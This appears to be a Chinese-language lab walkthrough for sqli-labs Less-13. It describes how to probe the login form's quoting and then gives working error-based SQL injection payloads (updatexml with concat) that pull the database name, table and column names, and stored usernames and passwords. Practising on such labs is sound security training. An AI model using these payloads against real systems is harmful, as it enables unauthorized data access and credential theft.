1、访问首页,/Less-13/index.php,这里的传参点是表单中的uname、passwd
探测六步
- 判断是否是数字形传参
- 判断是否有单引号闭合
- 判断是否是双引号闭合
- 判断是否单引号+括号闭合
- 判断是否是双引号+括号闭合
如果以上都不适:哪以上规则都同时加上sleep测试一遍,看是不是存在延时注入
分析:这里是单引号+括号闭合,但这里正确时并没有显示点,但在探测过程中会报SQL语名错误的内容,所以这里判断可以用报错注入。
2、尝试使用报错注入
admin') and updatexml(1,concat(0x7e,(select database())),1)-- qwe
分析:通过报错注入得到了数据库的库名。
3、获取数据库的表名
admin') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- qwe
4、获取数据库字段名
') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),1)-- qwe
5、获取数据库数据
') and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 2,1)),1)-- qwe